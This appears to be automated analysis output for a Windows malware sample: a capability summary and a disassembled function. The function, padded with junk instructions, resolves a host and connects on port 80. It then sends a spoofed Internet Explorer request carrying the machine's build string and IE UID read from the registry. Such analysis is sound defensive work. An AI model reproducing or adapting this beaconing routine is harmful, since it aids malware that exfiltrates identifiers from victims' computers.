Function at 0x100019a0
Capabilities:
Act as tcp client
Check http status code
Connect socket
Connect tcp socket
Connect udp socket
Create raw socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
mov eax, dword [esp - 0x21c]
sub esp, 0x21c
dec eax
cmp eax, 0xf9
jge 0x100019b6
inc eax
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push edi
mov edi, dword [esp + 0x230]
inc eax
push edi
call ebp
inc eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
mov esi, 0x2d
mov dword [esp + 0x18], ebx
inc esi
cmp esi, 0x43
jle 0x100019ef
cmp esi, 0xf9
jge 0x100019ef
inc esi
add esi, 0x2a
cmp esi, 0xc8
jl 0x100019e0
inc esi
cmp esi, 9
jle 0x10001a09
cmp esi, 0xe0
jge 0x10001a09
inc esi
push 0x2f
push edi
call fcn.10002fe0
add esp, 8
dec esi
cmp esi, 0xb4
jge 0x10001a1e
inc esi
test eax, eax
je 0x10001de9
cmp byte [eax + 1], 0x2f
jne 0x10001de9
inc esi
cmp esi, 0x12
jl 0x10001a39
add esi, 2
cmp esi, 0xaf
jle 0x10001a46
mov esi, 0x1f
add eax, 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
inc esi
js 0x10001a57
add esi, 2
push 0x2f
push ebx
call fcn.10002fe0
add esp, 8
mov ecx, 0x2f
inc ecx
cmp ecx, 0x24
jle 0x10001a76
cmp ecx, 0xec
jge 0x10001a76
inc ecx
add ecx, 0x20
cmp ecx, 0x91
jl 0x10001a67
test eax, eax
je 0x10001a88
mov byte [eax], 0
inc ecx
cmp ecx, 0xd
jl 0x10001a91
add ecx, 2
cmp ecx, 0xa1
jle 0x10001a9e
mov ecx, 0x19
inc ecx
cmp ecx, 0x46
jle 0x10001aad
cmp ecx, 0xd6
jge 0x10001aad
inc ecx
dec ecx
push ebx
call sub.WS2_32.dll_gethostbyname
mov esi, eax
mov eax, 0x3f
inc eax
cmp eax, 3
jle 0x10001ac9
cmp eax, 0xd6
jge 0x10001ac9
inc eax
add eax, 0x16
cmp eax, 0x9a
jl 0x10001abb
test esi, esi
je 0x10001de9
mov eax, 0x58
inc eax
cmp eax, 0x4b
jle 0x10001aee
cmp eax, 0xf9
jge 0x10001aee
inc eax
add eax, 0x29
cmp eax, 0x93
jl 0x10001ae0
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov eax, 0x5e
inc eax
cmp eax, 0x4c
jle 0x10001b1d
cmp eax, 0xea
jge 0x10001b1d
inc eax
add eax, 0xd
cmp eax, 0xc1
jl 0x10001b0f
mov eax, 0x61
inc eax
cmp eax, 0x55
jle 0x10001b3a
cmp eax, 0xde
jge 0x10001b3a
inc eax
add eax, 0x13
cmp eax, 0x6a
jl 0x10001b2c
mov word [esp + 0x1c], 2
mov eax, 0x54
inc eax
cmp eax, 0x58
jle 0x10001b5c
cmp eax, 0xeb
jge 0x10001b5c
inc eax
add eax, 0xc
cmp eax, 0x95
jl 0x10001b4e
push 0x50
call sub.WS2_32.dll_htons
mov word [esp + 0x1e], ax
mov eax, 0x57
inc eax
cmp eax, 0x40
jle 0x10001b85
cmp eax, 0xf6
jge 0x10001b85
inc eax
add eax, 0x22
cmp eax, 0x8a
jl 0x10001b77
movsx ecx, word [esi + 0xa]
mov edx, dword [esi + 0xc]
mov eax, ecx
lea edi, [esp + 0x20]
push 0
mov esi, dword [edx]
push 1
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 2
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.WS2_32.dll_socket
mov ecx, eax
mov eax, 0x62
mov dword [esp + 0x14], ecx
inc eax
cmp eax, 0xc
jle 0x10001bce
cmp eax, 0xf1
jge 0x10001bce
inc eax
add eax, 0x21
cmp eax, 0xa5
jl 0x10001bc0
mov eax, 0x53
inc eax
cmp eax, 0x63
jle 0x10001beb
cmp eax, 0xdd
jge 0x10001beb
inc eax
add eax, 0x2a
cmp eax, 0xbd
jl 0x10001bdd
lea edx, [esp + 0x1c]
push 0x10
push edx
push ecx
call sub.WS2_32.dll_connect
mov esi, 0x3a
inc esi
cmp esi, 1
jle 0x10001c16
cmp esi, 0xeb
jge 0x10001c16
inc esi
add esi, 0x1f
cmp esi, 0xa2
jl 0x10001c07
test eax, eax
jne 0x10001de9
dec esi
cmp esi, 0xbd
jge 0x10001c33
inc esi
dec esi
cmp esi, 0x39
jge 0x10001c3a
inc esi
inc esi
cmp esi, 1
jl 0x10001c43
add esi, 2
cmp esi, 0xc6
jle 0x10001c50
mov esi, 0x26
dec esi
cmp esi, 0xa4
jge 0x10001c5a
inc esi
inc esi
cmp esi, 0xb
jl 0x10001c63
add esi, 2
cmp esi, 0xca
jle 0x10001c70
mov esi, 0x1f
lea eax, [esp + 0x2c]
push 0x100
push eax
push str.HKEY_LOCAL_MACHINESoftwareMicrosoftWindows_NTCurrentVersionBuildLab
call fcn.100037e0
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x10001c92
mov edi, 0x10008544
dec esi
cmp esi, 0x72
jge 0x10001c99
inc esi
inc esi
cmp esi, 0x50
jle 0x10001ca8
cmp esi, 0xd9
jge 0x10001ca8
inc esi
inc esi
cmp esi, 0x10
jl 0x10001cb1
add esi, 2
lea ecx, [esp + 0x12c]
push 0x100
push ecx
push str.HKEY_LOCAL_MACHINESoftwareMicrosoftInternet_ExplorerUID
call fcn.100037e0
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x10001cd6
mov esi, 0x10008544
mov edx, dword [str.GET__s_HTTP_1.0_nAccept:_image_gif__image_x_xbitmap__image_jpeg__image_pjpeg____nUser_Agent:_Mozilla_4.0___s_uid_s__compatible__MSIE_6.0__Windows_NT_5.1___nHost:__s_nPragma:_no_cache_nReferer:__s_n_n]
push edx
call ebp
push esi
mov ebx, eax
call ebp
push edi
add ebx, eax
call ebp
add ebx, eax
mov eax, dword [esp + 0x18]
push eax
call ebp
mov ecx, dword [esp + 0x230]
add ebx, eax
push ecx
call ebp
add ebx, eax
mov dword [esp + 0x10], ebx
mov ebx, dword [esp + 0x234]
push ebx
call ebp
mov edx, dword [esp + 0x10]
lea eax, [edx + eax + 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [esp + 0x230]
mov edx, dword [str.GET__s_HTTP_1.0_nAccept:_image_gif__image_x_xbitmap__image_jpeg__image_pjpeg____nUser_Agent:_Mozilla_4.0___s_uid_s__compatible__MSIE_6.0__Windows_NT_5.1___nHost:__s_nPragma:_no_cache_nReferer:__s_n_n]
push ebx
mov ebx, dword [esp + 0x1c]
push ebx
push esi
push edi
mov ebp, eax
push ecx
push edx
push ebp
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
mov eax, 0x52
inc eax
cmp eax, 0x17
jle 0x10001d55
cmp eax, 0xea
jge 0x10001d55
inc eax
add eax, 0x2c
cmp eax, 0xb3
jl 0x10001d47
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x18]
push ebp
push eax
call fcn.10001e00
add esp, 0xc
mov eax, 0x5f
inc eax
cmp eax, 0x4f
jle 0x10001d88
cmp eax, 0xe1
jge 0x10001d88
inc eax
add eax, 0xd
cmp eax, 0x71
jl 0x10001d7a
mov esi, 0x4c
inc esi
cmp esi, 0x2d
jle 0x10001da4
cmp esi, 0xf5
jge 0x10001da4
inc esi
add esi, 0x16
cmp esi, 0xbc
jl 0x10001d95
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call edi
inc esi
cmp esi, 0x52
jle 0x10001dc7
cmp esi, 0xe4
jge 0x10001dc7
inc esi
push ebx
call edi
inc esi
cmp esi, 0x1d
jle 0x10001dd9
cmp esi, 0xd3
jge 0x10001dd9
inc esi
mov eax, dword [esp + 0x14]
inc esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x21c
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x21c
ret